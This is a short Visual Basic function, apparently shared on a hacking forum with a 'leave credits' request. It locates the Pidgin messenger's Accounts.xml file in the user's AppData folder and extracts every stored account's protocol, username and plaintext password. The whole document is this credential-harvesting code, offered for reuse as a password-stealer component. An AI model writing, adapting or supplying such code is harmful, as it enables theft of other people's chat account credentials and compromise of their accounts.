Code:'LEave credits if u use this 'by skilled Public Function sPidgin() As String On Error GoTo Err Dim sPath As String Dim f As Integer: f = FreeFile sPath = Environ("appdata") & "\.purple\Accounts.xml" If Dir(sPath) = vbNullString Then Exit Function Dim bUser As Boolean Dim bPass As Boolean Open sPath For Binary As #f Do While Not EOF(f) Line Input #f, sLine If bPass = True Then sPidgin = sPidgin & "Password : " & parse(sLine, "<password>", "</password>") & vbNewLine & String(20, "-") bPass = False End If If bUser = True Then sPidgin = sPidgin & "Username : " & parse(sLine, "<name>", "</name>") & vbNewLine bUser = False: bPass = True End If If InStr(sLine, "<protocol>") > 0 Then sPidgin = sPidgin & "Protocol : " & parse(sLine, "<protocol>prpl-", "</protocol>") & vbNewLine bUser = True End If Loop Close #f Err: End Function Private Function parse(ByVal sString As String, ByVal S1 As String, ByVal S2 As String) As String Dim iPos As Integer, iPos2 As Integer iPos = InStr(sString, S1): iPos2 = InStr(sString, S2) If iPos = 0 Or iPos2 = 0 Then Exit Function If iPos > iPos2 Then Exit Function parse = Mid(sString, iPos + Len(S1), iPos2 - iPos - Len(S1)) End Function